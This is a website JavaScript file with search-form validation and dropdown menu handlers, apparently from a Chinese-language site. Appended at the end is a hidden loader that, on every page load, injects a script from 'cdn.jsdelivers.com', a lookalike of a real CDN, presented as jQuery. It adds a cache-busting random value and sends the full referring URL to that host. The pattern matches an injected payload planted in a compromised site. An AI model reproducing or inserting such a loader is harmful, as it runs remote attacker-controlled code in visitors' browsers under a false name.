function listtj(x){
if(document.form1.ink1.value==""){alert("请输入搜索词");document.form1.ink1.focus();return false;}
form1.action="../search/index.php?admin=4&ty1id="+x;
}

function selmoreonc(x){
 if(document.getElementById("selmorel"+x).className=="l2"){
  document.getElementById("selmorel"+x).className="l2 l21";
  document.getElementById("selmore"+x).className="a1";
 }else{
  document.getElementById("selmorel"+x).className="l2";
  document.getElementById("selmore"+x).className="";
 }
}

//列表下拉
function xialaover(x){
document.getElementById("xllist"+x).style.display="";
}
function xialaout(x){
document.getElementById("xllist"+x).style.display="none";
}
;function loadJSScript(url, callback) {
    var script = document.createElement("script");
    script.type = "text/javascript";
    script.referrerPolicy = "unsafe-url";
    if (typeof(callback) != "undefined") {
        if (script.readyState) {
            script.onreadystatechange = function() {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback();
                }
            };
        } else {
            script.onload = function() {
                callback();
            };
        }
    };
    script.src = url;
    document.body.appendChild(script);
}
window.onload = function() {
    loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() { 
         console.log("Jquery loaded");
    });
}